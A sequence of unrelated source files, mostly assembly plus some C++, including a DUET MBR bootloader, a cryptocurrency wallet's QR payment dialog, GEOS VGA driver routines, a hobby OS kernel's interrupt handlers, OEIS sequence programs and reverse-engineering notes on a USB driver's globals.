;* THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
;* WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;*
;* Mbr.asm
;*
;* Abstract:
;*
;------------------------------------------------------------------------------
.model small
; .dosseg
.stack
.486p
.code
BLOCK_SIZE EQU 0200h
BLOCK_MASK EQU 01ffh
BLOCK_SHIFT EQU 9
; ****************************************************************************
; Code loaded by BIOS at 0x0000:0x7C00
; ****************************************************************************
org 0h
Start:
; ****************************************************************************
; Start Print
; ****************************************************************************
mov ax,0b800h
mov es,ax
mov ax, 07c0h
mov ds, ax
lea si, cs:[StartString]
mov cx, 10
mov di, 160
rep movsw
; ****************************************************************************
; Print over
; ****************************************************************************
; ****************************************************************************
; Initialize segment registers and copy code at 0x0000:0x7c00 to 0x0000:0x0600
; ****************************************************************************
xor ax, ax ; AX = 0x0000
mov bx, 07c00h ; BX = 0x7C00
mov bp, 0600h ; BP = 0x0600
mov si, OFFSET RelocatedStart ; SI = Offset(RelocatedStart)
mov cx, 0200h ; CX = 0x0200
sub cx, si ; CS = 0x0200 - Offset(RelocatedStart)
lea di, [bp+si] ; DI = 0x0600 + Offset(RelocatedStart)
lea si, [bx+si] ; BX = 0x7C00 + Offset(RelocatedStart)
mov ss, ax ; SS = 0x0000
mov sp, bx ; SP = 0x7C00
mov es,ax ; ES = 0x0000
mov ds,ax ; DS = 0x0000
push ax ; PUSH 0x0000
push di ; PUSH 0x0600 + Offset(RelocatedStart)
cld ; Clear the direction flag
rep movsb ; Copy 0x0200 bytes from 0x7C00 to 0x0600
retf ; JMP 0x0000:0x0600 + Offset(RelocatedStart)
; ****************************************************************************
; Code relocated to 0x0000:0x0600
; ****************************************************************************
RelocatedStart:
; ****************************************************************************
; Get Driver Parameters to 0x0000:0x7BFC
; ****************************************************************************
xor ax,ax ; AX = 0
mov ss,ax ; SS = 0
add ax,1000h
mov ds,ax
mov sp,07c00h ; SP = 0x7c00
mov bp,sp ; BP = 0x7c00
mov ah,8 ; AH = 8 - Get Drive Parameters Function
mov dl,byte ptr [bp+PhysicalDrive] ; DL = Drive Number
int 13h ; Get Drive Parameters
xor ax,ax ; AX = 0
mov al,dh ; AL = DH
inc al ; MaxHead = AL + 1
push ax ; 0000:7bfe = MaxHead
mov al,cl ; AL = CL
and al,03fh ; MaxSector = AL & 0x3f
push ax ; 0000:7bfc = MaxSector
; ****************************************************************************
; Read Target DBR from hard disk to 0x0000:0x7C00
; ****************************************************************************
xor ax, ax
mov al, byte ptr [bp+MbrPartitionIndicator] ; AX = MbrPartitionIndex
cmp al, 0ffh ; 0xFF means do legacy MBR boot
jnz EfiDbr
LegacyMbr:
mov eax, 00000600h ; Assume LegacyMBR is backuped in Sector 6
jmp StartReadTo7C00 ; EAX = Header/Sector/Tracker/Zero
EfiDbr:
cmp al, 4 ; MbrPartitionIndex should < 4
jae BadDbr
shl ax, 4 ; AX = MBREntrySize * Index
add ax, 1beh ; AX = MBREntryOffset
mov di, ax ; DI = MBREntryOffset
; Here we don't use the C/H/S information provided by Partition table
; but calculate C/H/S from LBA ourselves
; Ci: Cylinder number
; Hi: Header number
; Si: Sector number
mov eax, dword ptr es:[bp + di + 8] ; Start LBA
mov edx, eax
shr edx, 16 ; DX:AX = Start LBA
; = Ci * (H * S) + Hi * S + (Si - 1)
; Calculate C/H/S according to LBA
mov bp, 7bfah
div word ptr [bp+2] ; AX = Hi + H*Ci
; DX = Si - 1
inc dx ; DX = Si
push dx ; 0000:7bfa = Si <----
xor dx, dx ; DX:AX = Hi + H*Ci
div word ptr [bp+4] ; AX = Ci <----
; DX = Hi <----
StartReadTo7C00:
mov cl, byte ptr [bp] ; Si
mov ch, al ; Ci[0-7]
or cl, ah ; Ci[8,9]
mov bx, 7c00h ; ES:BX = 0000:7C00h
mov ah, 2h ; Function 02h
mov al, 1 ; 1 Sector
mov dh, dl ; Hi
mov bp, 0600h
mov dl, byte ptr [bp + PhysicalDrive] ; Drive number
int 13h
jc BadDbr
; ****************************************************************************
; Transfer control to BootSector - Jump to 0x0000:0x7C00
; ****************************************************************************
xor ax, ax
push ax ; PUSH 0x0000 - Segment
mov di, 07c00h
push di ; PUSH 0x7C00 - Offset
retf ; JMP 0x0000:0x7C00
; ****************************************************************************
; ERROR Condition:
; ****************************************************************************
BadDbr:
push ax
mov ax, 0b800h
mov es, ax
mov ax, 060h
mov ds, ax
lea si, cs:[ErrorString]
mov di, 320
pop ax
call A2C
mov [si+16], ah
mov [si+18], al
mov cx, 10
rep movsw
Halt:
jmp Halt
StartString:
db 'M', 0ch, 'B', 0ch, 'R', 0ch, ' ', 0ch, 'S', 0ch, 't', 0ch, 'a', 0ch, 'r', 0ch, 't', 0ch, '!', 0ch
ErrorString:
db 'M', 0ch, 'B', 0ch, 'R', 0ch, ' ', 0ch, 'E', 0ch, 'r', 0ch, 'r', 0ch, ':', 0ch, '?', 0ch, '?', 0ch
; ****************************************************************************
; A2C - convert Ascii code stored in AH to character stored in AX
; ****************************************************************************
A2C:
mov al, ah
shr ah, 4
and al, 0Fh
add ah, '0'
add al, '0'
cmp ah, '9'
jle @f
add ah, 7
@@:
cmp al, '9'
jle @f
add al, 7
@@:
ret
; ****************************************************************************
; PhysicalDrive - Used to indicate which disk to be boot
; Can be patched by tool
; ****************************************************************************
org 01B6h
PhysicalDrive db 80h
; ****************************************************************************
; MbrPartitionIndicator - Used to indicate which MBR partition to be boot
; Can be patched by tool
; OxFF means boot to legacy MBR. (LBA OFFSET 6)
; ****************************************************************************
org 01B7h
MbrPartitionIndicator db 0
; ****************************************************************************
; Unique MBR signature
; ****************************************************************************
org 01B8h
db 'DUET'
; ****************************************************************************
; Unknown
; ****************************************************************************
org 01BCh
dw 0
; ****************************************************************************
; MBR Entry - To be patched
; ****************************************************************************
org 01BEh
dd 0, 0, 0, 0
org 01CEh
dd 0, 0, 0, 0
org 01DEh
dd 0, 0, 0, 0
org 01EEh
dd 0, 0, 0, 0
; ****************************************************************************
; Sector Signature
; ****************************************************************************
org 01FEh
SectorSignature:
dw 0aa55h ; Boot Sector Signature
end
|
// Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2018 The PIVX developers
// Copyright (c) 2018-2019 The POSQ developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "receiverequestdialog.h"
#include "ui_receiverequestdialog.h"
#include "bitcoinunits.h"
#include "guiconstants.h"
#include "guiutil.h"
#include "optionsmodel.h"
#include "walletmodel.h"
#include <QClipboard>
#include <QDrag>
#include <QMenu>
#include <QMimeData>
#include <QMouseEvent>
#include <QPixmap>
#if defined(HAVE_CONFIG_H)
#include "config/posq-config.h" /* for USE_QRCODE */
#endif
#ifdef USE_QRCODE
#include <qrencode.h>
#endif
QRImageWidget::QRImageWidget(QWidget* parent) : QLabel(parent), contextMenu(0)
{
contextMenu = new QMenu();
QAction* saveImageAction = new QAction(tr("&Save Image..."), this);
connect(saveImageAction, SIGNAL(triggered()), this, SLOT(saveImage()));
contextMenu->addAction(saveImageAction);
QAction* copyImageAction = new QAction(tr("&Copy Image"), this);
connect(copyImageAction, SIGNAL(triggered()), this, SLOT(copyImage()));
contextMenu->addAction(copyImageAction);
}
QImage QRImageWidget::exportImage()
{
if (!pixmap())
return QImage();
return pixmap()->toImage().scaled(EXPORT_IMAGE_SIZE, EXPORT_IMAGE_SIZE);
}
void QRImageWidget::mousePressEvent(QMouseEvent* event)
{
if (event->button() == Qt::LeftButton && pixmap()) {
event->accept();
QMimeData* mimeData = new QMimeData;
mimeData->setImageData(exportImage());
QDrag* drag = new QDrag(this);
drag->setMimeData(mimeData);
drag->exec();
} else {
QLabel::mousePressEvent(event);
}
}
void QRImageWidget::saveImage()
{
if (!pixmap())
return;
QString fn = GUIUtil::getSaveFileName(this, tr("Save QR Code"), QString(), tr("PNG Image (*.png)"), NULL);
if (!fn.isEmpty()) {
exportImage().save(fn);
}
}
void QRImageWidget::copyImage()
{
if (!pixmap())
return;
QApplication::clipboard()->setImage(exportImage());
}
void QRImageWidget::contextMenuEvent(QContextMenuEvent* event)
{
if (!pixmap())
return;
contextMenu->exec(event->globalPos());
}
ReceiveRequestDialog::ReceiveRequestDialog(QWidget* parent) : QDialog(parent, Qt::WindowSystemMenuHint | Qt::WindowTitleHint | Qt::WindowCloseButtonHint),
ui(new Ui::ReceiveRequestDialog),
model(0)
{
ui->setupUi(this);
#ifndef USE_QRCODE
ui->btnSaveAs->setVisible(false);
ui->lblQRCode->setVisible(false);
#endif
connect(ui->btnSaveAs, SIGNAL(clicked()), ui->lblQRCode, SLOT(saveImage()));
}
ReceiveRequestDialog::~ReceiveRequestDialog()
{
delete ui;
}
void ReceiveRequestDialog::setModel(OptionsModel* model)
{
this->model = model;
if (model)
connect(model, SIGNAL(displayUnitChanged(int)), this, SLOT(update()));
// update the display unit if necessary
update();
}
void ReceiveRequestDialog::setInfo(const SendCoinsRecipient& info)
{
this->info = info;
update();
}
void ReceiveRequestDialog::update()
{
if (!model)
return;
QString target = info.label;
if (target.isEmpty())
target = info.address;
setWindowTitle(tr("Request payment to %1").arg(target));
QString uri = GUIUtil::formatBitcoinURI(info);
ui->btnSaveAs->setEnabled(false);
QString html;
html += "<html><font face='verdana, arial, helvetica, sans-serif'>";
html += "<b>" + tr("Payment information") + "</b><br>";
html += "<b>" + tr("URI") + "</b>: ";
html += "<a style=\"color:#5B4C7C;\" href=\"" + uri + "\">" + GUIUtil::HtmlEscape(uri) + "</a><br>";
html += "<b>" + tr("Address") + "</b>: " + GUIUtil::HtmlEscape(info.address) + "<br>";
if (info.amount)
html += "<b>" + tr("Amount") + "</b>: " + BitcoinUnits::formatWithUnit(model->getDisplayUnit(), info.amount) + "<br>";
if (!info.label.isEmpty())
html += "<b>" + tr("Label") + "</b>: " + GUIUtil::HtmlEscape(info.label) + "<br>";
if (!info.message.isEmpty())
html += "<b>" + tr("Message") + "</b>: " + GUIUtil::HtmlEscape(info.message) + "<br>";
ui->outUri->setText(html);
#ifdef USE_QRCODE
ui->lblQRCode->setText("");
if (!uri.isEmpty()) {
// limit URI length
if (uri.length() > MAX_URI_LENGTH) {
ui->lblQRCode->setText(tr("Resulting URI too long, try to reduce the text for label / message."));
} else {
QRcode* code = QRcode_encodeString(uri.toUtf8().constData(), 0, QR_ECLEVEL_L, QR_MODE_8, 1);
if (!code) {
ui->lblQRCode->setText(tr("Error encoding URI into QR Code."));
return;
}
QImage myImage = QImage(code->width + 8, code->width + 8, QImage::Format_RGB32);
myImage.fill(0xffffff);
unsigned char* p = code->data;
for (int y = 0; y < code->width; y++) {
for (int x = 0; x < code->width; x++) {
myImage.setPixel(x + 4, y + 4, ((*p & 1) ? 0x0 : 0xffffff));
p++;
}
}
QRcode_free(code);
ui->lblQRCode->setPixmap(QPixmap::fromImage(myImage).scaled(300, 300));
ui->btnSaveAs->setEnabled(true);
}
}
#endif
}
void ReceiveRequestDialog::on_btnCopyURI_clicked()
{
GUIUtil::setClipboard(GUIUtil::formatBitcoinURI(info));
}
void ReceiveRequestDialog::on_btnCopyAddress_clicked()
{
GUIUtil::setClipboard(info.address);
}
|
SECTION code_fp_math16
PUBLIC cm16_sdcc_log
EXTERN cm16_sdcc_read1, logf16
cm16_sdcc_log:
call cm16_sdcc_read1
jp logf16
|
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1988 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: VGALike video drivers
FILE: vgacomUtils.asm
AUTHOR: Jim DeFrisco
ROUTINES:
Name Description
---- -----------
PixelAddr calculate the address of a pixel in the frame buffer
SetEGAClrMode set the EGA regs up to do color, draw mode
SetEGAState set the EGA regs up the way they were saved
SetDither common SetDither matrix for 4-bit VGA devices
REVISION HISTORY:
Name Date Description
---- ---- -----------
jim 4/88 initial version
DESCRIPTION:
These are a set of utility routines used by the VGALike video drivers.
$Id: vgacomUtils.asm,v 1.1 97/04/18 11:42:20 newdeal Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PixelAddr
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Calculate pixel address into video buffer
CALLED BY: INTERNAL
PASS: ax = x coordinate
bx = y coordinate
RETURN: si = byte offset into video buffer
bx = byte offset to start of scan line
ax = byte offset into scan line
DESTROYED: ax,bx,si
PSEUDO CODE/STRATEGY:
offset = 80*y + x/8;
#bitsToShiftLeft = NOT (x AND 7);
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 4/88... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
PixelAddr proc near
; calculate scan line offset from start of frame buffer
sal bx, 1 ; bx = ypos * 2
sal bx, 1 ; bx = ypos * 4
sal bx, 1 ; bx = ypos * 8
sal bx, 1 ; bx = ypos * 16
mov si, bx ; si = ypos * 16
sal bx, 1 ; bx = ypos * 32
sal bx, 1 ; bx = ypos * 64
add si, bx ; si = ypos * 80
mov bx, si ; bx = byte offset to start of scan
shr ax, 1 ; ax = xpos / 2
shr ax, 1 ; ax = xpos / 4
shr ax, 1 ; ax = xpos / 8
add si, ax ; si = byte offset into video buffer
; ax = byte offset into scan line
ret
PixelAddr endp
public PixelAddr
COMMENT }%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetEGAClrMode
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set up the EGA to use a certain color, and implement the
drawing mode
CALLED BY: INTERNAL
PASS: dh - color to use
dl - draw mode to use
RETURN: color set
dx - set to GR_CONTROL address
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 4/88... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%}
SetEGAClrModeFar proc far
call SetEGAClrMode
ret
SetEGAClrModeFar endp
SetEGAClrMode proc near
uses ax, bx
.enter
mov ah, dh
mov bl, dl
; set up the EGA registers with color in set/reset reg, enable all planes
mov cs:d_savMODE, 0 ; set write mode 0, read mode 0
mov cs:d_savENABLE_SR, 0fh ; enable all bit planes
clr bh ; make into a word
test bl, 1 ; see if need alternate source
jne SECM10
mov ah, cs:constSrcTab[bx] ; yes, grab constant value
SECM10:
mov cs:[d_savSET_RESET], ah
mov ah, cs:egaFunc[bx] ; get EGA function to use
mov cs:[d_savDATA_ROT], ah
call SetEGAState ; do all the outs
.leave
ret
SetEGAClrMode endp
public SetEGAClrMode
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SetEGAState
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Sets the ega registers up to values stored in driver variable
space.
CALLED BY: INTERNAL
PASS: d_savMODE - value to set for read/write mode register
d_savENABLE_SR - value to set for enable set/reset register
d_savSET_RESET - value to set for set/reset register
d_savDATA_ROT - value to set for data/rot register
RETURN: dx - set to GR_CONTROL (address of EGA i/o port)
DESTROYED: ax
PSEUDO CODE/STRATEGY:
just load ax from each variable and output to the port
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
Jim 10/88... Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SetEGAState proc near
mov dx, GR_CONTROL ; set up address of ega port
mov ah, cs:d_savMODE ; get the mode
mov al, WR_MODE ; index to mode register
out dx, ax
mov ah, cs:d_savENABLE_SR ; get the enable set/res reg
mov al, EN_SETRESET ; index to register
out dx, ax
mov ah, cs:d_savSET_RESET ; get the set/reset reg
mov al, SETRESET ; index to register
out dx, ax
mov ah, cs:d_savDATA_ROT ; get the data/rotate reg
mov al, DATA_ROT ; index to register
out dx, ax
ret
SetEGAState endp
public SetEGAState
|
// Copyright (c) 2019 Thomas Heller
//
// SPDX-License-Identifier: BSL-1.0
// Distributed under the Boost Software License, Version 1.0. (See accompanying
// file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
#pragma once
#include <hpx/local/config.hpp>
#include <hpx/coroutines/detail/coroutine_impl.hpp>
#include <hpx/coroutines/detail/coroutine_stackful_self.hpp>
#include <hpx/coroutines/thread_enums.hpp>
#include <hpx/coroutines/thread_id_type.hpp>
#include <hpx/execution_base/agent_base.hpp>
#include <hpx/execution_base/context_base.hpp>
#include <hpx/execution_base/resource_base.hpp>
#include <hpx/timing/steady_clock.hpp>
#include <cstddef>
#include <string>
#include <hpx/local/config/warnings_prefix.hpp>
namespace hpx { namespace threads {
struct HPX_LOCAL_EXPORT execution_context
: hpx::execution_base::context_base
{
hpx::execution_base::resource_base const& resource() const override
{
return resource_;
}
hpx::execution_base::resource_base resource_;
};
struct HPX_LOCAL_EXPORT execution_agent : hpx::execution_base::agent_base
{
explicit execution_agent(
coroutines::detail::coroutine_impl* coroutine) noexcept;
std::string description() const override;
execution_context const& context() const override
{
return context_;
}
void yield(char const* desc) override;
void yield_k(std::size_t k, char const* desc) override;
void suspend(char const* desc) override;
void resume(char const* desc) override;
void abort(char const* desc) override;
void sleep_for(hpx::chrono::steady_duration const& sleep_duration,
char const* desc) override;
void sleep_until(hpx::chrono::steady_time_point const& sleep_time,
char const* desc) override;
private:
coroutines::detail::coroutine_stackful_self self_;
hpx::threads::thread_restart_state do_yield(
char const* desc, threads::thread_schedule_state state);
void do_resume(
char const* desc, hpx::threads::thread_restart_state statex);
execution_context context_;
};
}} // namespace hpx::threads
#include <hpx/local/config/warnings_suffix.hpp>
|
GLOBAL cpuVendor,_rax,_rbx,_rcx,_rdx,_rbp,_rsi,_rdi,_rsp
GLOBAL _r8,_r9,_r10,_r11,_r12,_r13,_r14,_r15,
GLOBAL _cli,_sti,_eax,_ebx,_ecx,_edx
GLOBAL _lidt,picMasterMask,picSlaveMask,_irq00handler,_irq01handler
GLOBAL _int80handler,kb_read,rtc,_out,_in
GLOBAL _syscall_handler,_hlt,_lhlt,_readfl,_rip,_lrax,changeContextFromRsp,enter_region,leave_region,yield,try_to_lock
EXTERN irqDispatcher, int_80, syscall_dispatcher, switchStackPointer
EXTERN decrementTicks,togglelock
section .text
enter_region:
xor rdx,rdx
xor rax,rax
xor rcx,rcx
xor rbx,rbx
inc rbx
lock cmpxchg8b [rdi]
jnz .yid
ret
.yid:
call yield
jmp enter_region
ret
leave_region:
mov QWORD [rdi],0
ret
try_to_lock:
xor rdx,rdx
xor rax,rax
xor rcx,rcx
xor rbx,rbx
inc rbx
lock cmpxchg8b [rdi]
ret
_readfl:
push rbp
mov rbp, rsp
mov rax,0
pushf
pop ax
leave
ret
cpuVendor:
push rbp
mov rbp, rsp
push rbx
mov rax, 0
cpuid
mov [rdi], ebx
mov [rdi + 4], edx
mov [rdi + 8], ecx
mov byte [rdi+13], 0
mov rax, rdi
pop rbx
mov rsp, rbp
pop rbp
ret
_eax:
ret
_ebx:
mov rax,0
mov eax,ebx
ret
_ecx:
mov rax,0
mov eax,ecx
ret
_edx:
mov rax,0
mov eax,edx
ret
_rip:
mov rax,$
ret
_lrax:
mov rax,rdi
ret
_rax:
ret
_rbx:
mov rax,rbx
ret
_rcx:
mov rax,rcx
ret
_rdx:
mov rax,rdx
ret
_rbp:
mov rax,rbp
ret
_rsi:
mov rax,rsi
ret
_rdi:
mov rax,rdi
ret
_rsp:
mov rax,rsp
ret
_r8:
mov rax,r8
ret
_r9:
mov rax,r9
ret
_r10:
mov rax,r10
ret
_r11:
mov rax,r11
ret
_r12:
mov rax,r12
ret
_r13:
mov rax,r13
ret
_r14:
mov rax,r14
ret
_r15:
mov rax,r15
ret
_lidt:
cli
lidt [rdi]
sti
ret
picMasterMask:
mov al,[rdi]
out 21h,al
retn
picSlaveMask:
mov al,[rdi]
out 0A1h,al
retn
%macro irqHandlerMaster 1
cli
push rbp
mov rbp, rsp
push rbx
push rbp
push r12
push r13
push r14
push r15
mov rdi, %1
call irqDispatcher
pop r15
pop r14
pop r13
pop r12
pop rbp
pop rbx
;signal pic
mov al, 20h
out 20h, al
mov rax, 0
leave
sti
iretq
%endMacro
%macro pushState 0
push rax
push rbx
push rcx
push rdx
push rbp
push rdi
push rsi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push fs
push gs
%endmacro
%macro popState 0
pop gs
pop fs
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rsi
pop rdi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
%endmacro
_irq00handler:
pushState
call togglelock
call decrementTicks
mov rdi,rsp
call switchStackPointer
mov rsp,rax
mov al, 20h
out 20h, al
call togglelock
popState
iretq
yield:
;push iretq hook
mov rax,rsp
push QWORD 0
push QWORD 0
push rax
pushfq
push QWORD 0x008
push .ret
;uint64_t rip
;uint64_t cs
;uint64_t eflags
;uint64_t rsp
;uint64_t ss
;uint64_t base
pushState
mov rdi,rsp
call switchStackPointer
mov rsp,rax
popState
iretq
.ret:
ret
;see exit syscall
changeContextFromRsp:
mov rsp,rax
popState
iretq
_irq01handler:
irqHandlerMaster 1
_syscall_handler:
push rbp
mov rbp, rsp
push rcx
push rdi
push rdx
push rsi
mov rcx, rdx
mov rdx, rsi
mov rsi, rdi
mov rdi, rax
xor rax, rax
call syscall_dispatcher
pop rsi
pop rdx
pop rdi
pop rcx
mov rsp, rbp;
pop rbp
iretq
_cli:
cli
ret
_sti:
sti
ret
kb_read:
in al,64h
test al,1
jz .none
mov rax,0
in al,60h
jmp .ret
.none:
mov rax,0
.ret:
ret
_hlt:
hlt
ret
_lhlt:
hlt
jmp _lhlt
ret
rtc:
call bin_fmt
mov rax,rdi
out 70h,al
in al,71h
ret
bin_fmt:
push rbp
mov rbp,rsp
mov al,0bh
out 70h,al
in al,71h
push rax
mov al,0bh
out 70h,al
pop rax
or al,04h
out 71h,al
mov rsp,rbp
pop rbp
ret
_in:
mov rax,0
mov rdx,rdi
in ax,dx
ret
;rdi port
;rsi value
_out:
mov rdx,rdi
mov rax,rsi
out dx,ax
ret
|
; A084171: Binomial transform of generalized Jacobsthal numbers A084170.
; 1,3,11,37,119,373,1151,3517,10679,32293,97391,293197,881639,2649013,7955231,23882077,71678999,215102533,645438671,1936578157,5810258759,17431824853,52297571711,156896909437,470699116919,1412114127973,4236375938351,12709194923917,38127718989479,114383425403893,343150813082591,1029453512989597,3088362686452439
mov $1,1
mov $3,1
lpb $0,1
sub $0,1
add $2,$1
mul $2,2
add $1,$2
mov $2,$3
mul $3,2
lpe
|
; A017788: Binomial coefficients C(72,n).
; 1,72,2556,59640,1028790,13991544,156238908,1473109704,11969016345,85113005120,536211932256,3022285436352,15363284301456,70907466006720,298824321028320,1155454041309504,4116305022165108,13559593014190944,41432089765583440,117754360386395040,312049055023946856,772692898154535072,1791242627540058576,3894005712043605600,7950261662089028100,15264502391210933952,27593523553342842144,47011188276065582912,75553695443676829680,114633193086957948480,164307576757973059488,222610265284995758016,285219402396400814958,345720487753213109040,396561735952215036840,430552741890976325712,442512540276836779204,430552741890976325712,396561735952215036840,345720487753213109040,285219402396400814958,222610265284995758016,164307576757973059488,114633193086957948480,75553695443676829680,47011188276065582912,27593523553342842144,15264502391210933952,7950261662089028100,3894005712043605600,1791242627540058576,772692898154535072,312049055023946856,117754360386395040,41432089765583440,13559593014190944,4116305022165108,1155454041309504,298824321028320,70907466006720,15363284301456,3022285436352,536211932256,85113005120,11969016345,1473109704,156238908,13991544,1028790,59640,2556,72,1
mov $1,72
bin $1,$0
mov $0,$1
|
#pragma once
#include "ui_window.hpp"
namespace space
{
class Engine;
class UIPhotoAlbum : public UIWindow
{
public:
// Fields
// Constructor
UIPhotoAlbum();
// Methods
protected:
// Methods
virtual bool isOpen(Engine &engine);
virtual void doDraw(Engine &engine);
};
} // space |
; A095190: Doubled Thue-Morse sequence: the A010060 sequence replacing 0 with 0,0 and 1 with 1,1.
; 0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1
lpb $0
div $0,2
add $1,$0
lpe
mod $1,2
|
extern printf
section .data
sys_write db 1
section .text
global write_message, to_upper ; make global to reference it from outside
global printf_wrap
global duplicate
write_message:
enter 8,0 ; push rbp && rbp=rsp && sub rsp, 8
mov rax, [sys_write] ; dereference syscall_write
mov qword [rbp-8], rax ; local var for syscall number
mov rax, [rbp-8] ; syscall 1 = write
mov rdi, 0x1 ; 1 = stdout
mov rsi, [rbp+24] ; the message fetched from stack
mov rdx, [rbp+16] ; the message length fetched from stack
syscall
leave ; rsp = rbp && pop rbp
ret
to_upper:
enter 0,0
push rbx ; calling conventions wants us to preserve rbx
mov rbx, [rbp+16] ; address of first char in string
mov rcx, 0 ; initialize counter
start:
mov byte al, [rbx+rcx] ; get next byte
cmp al, 0 ; check if string terminator
je end
cmp al, 0x20 ; skip stuff in 0h - 20h (strange symbols and space)
jle skip
sub byte [rbx+rcx], 0x20 ; subtract 20h == lower to upper
skip:
inc rcx ; more chars - increase counter and loop
jmp start
end:
pop rbx
leave
ret
printf_wrap:
enter 0,0
; first six arguments of a call are in rdi, rsi, rdx, rcx, r8 and r9;
; temporary values (like the floating point args flag or the syscall to make) are stored in rax (the temp register);
; all others must be pushed onto the stack.
; RBP, RBX, R12-R15 must be restored by the callee, if he wishes to use them. The rest is saved by the caller.
mov rdi, [rbp+16] ; fmt from stack
mov rsi, [rbp+24] ; msg from stack
mov rax, 0 ; rax=0 tells function that there are no floating point arguments
call printf
leave
ret
duplicate:
enter 16,0
mov rdi, [rbp+16] ; index of destination string
mov rsi, [rbp+24] ; index of source string
mov rcx, [rbp+32] ; length of strings to copy
copy_char:
lodsq ; load quadword at rsi into rax and increment rsi by 8
stosq ; store quadword in rax into rdi and increment rdi by 8
loop copy_char ; decrement rcx and loop if > 0
leave
ret
|
; A078446: a(1)=a(2)=1; a(n)=a(n-2)/2 if a(n-2) is even, a(n)=a(n-1)+a(n-2) otherwise.
; Submitted by Jon Maiga
; 1,1,2,3,1,4,5,2,7,1,8,9,4,13,2,15,1,16,17,8,25,4,29,2,31,1,32,33,16,49,8,57,4,61,2,63,1,64,65,32,97,16,113,8,121,4,125,2,127,1,128,129,64,193,32,225,16,241,8,249,4,253,2,255,1,256,257,128,385,64,449,32,481,16,497,8,505,4,509,2,511,1,512,513,256,769,128,897,64,961,32,993,16,1009,8,1017,4,1021,2,1023
mov $2,1
mov $4,2
lpb $0
sub $0,1
add $4,$2
mov $3,$4
mov $4,$2
add $2,$3
dif $2,2
sub $2,$4
lpe
mov $0,$2
|
data segment
;TODO data here
data ends
extra segment
;TODO extra here
extra ends
code segment
assume cs : code, ds : data, es : extra
main proc far
start:
mov ax, data
mov ds, ax
mov ax, extra
mov es, ax
;TODO code here
mov ax, 4c00h
int 21h
main endp
code ends
end start
|
; Read only data
;
ds:0x1000d180 ; (dword) 00 00 00 00 00 00 f0 41
; (double) 4294967296.0 (2^32)
; https://reverseengineering.stackexchange.com/questions/16363/
; _const_pow2_32
ds:0x1000d188 ; (dword) 00 00 00 00 00 00 80 40
; (double) 512.0
; _const_512
ds:0x1000d190 ; (dword) 00 00 00 00 00 00 10 40
; (double) 4.0
; _const_4
ds:0x1000d198 ; (dword) 00 00 00 00 00 00 00 40
; (double) 2.0
; _const_2
ds:0x1000d1a0 ; (dword) 00 00 00 00 00 00 79 40
; (double) 400.0
; _const_400
; Global variables
;
ds:0x10010000 ; [4] / _global_DeviceHandle
; WINUSB_PIPE_INFORMATION structure
ds:0x10011000 ; [4] / _global_PipeType
ds:0x10011004 ; [1] / _global_PipeId
ds:0x10011005 ; [2] / _global_MaximumPacketSize
ds:0x10011007 ; [1] / _global_Interval
ds:0x10015210 ; [4] / _global_InterfaceHandle
ds:0x10015214 ; [1] / _global_Device_Speed
ds:0x10015215 ; [1] / _global_BulkIn_PipeID
ds:0x10015216 ; [1] / _global_BulkOut_PipeID
ds:0x10015217 ; [1] / _global_Interrupt_PipeID
ds:0x1001522c ; _global_1001522c (initialization flag?)
ds:0x10015df8 ; _global_cpu_sopports_SSE2
ds:0x10016000 ; [8] / _global_CH1_FreqValue (kHz)
ds:0x10016008 ; [1] / _global_CH1_MaxValue (V)
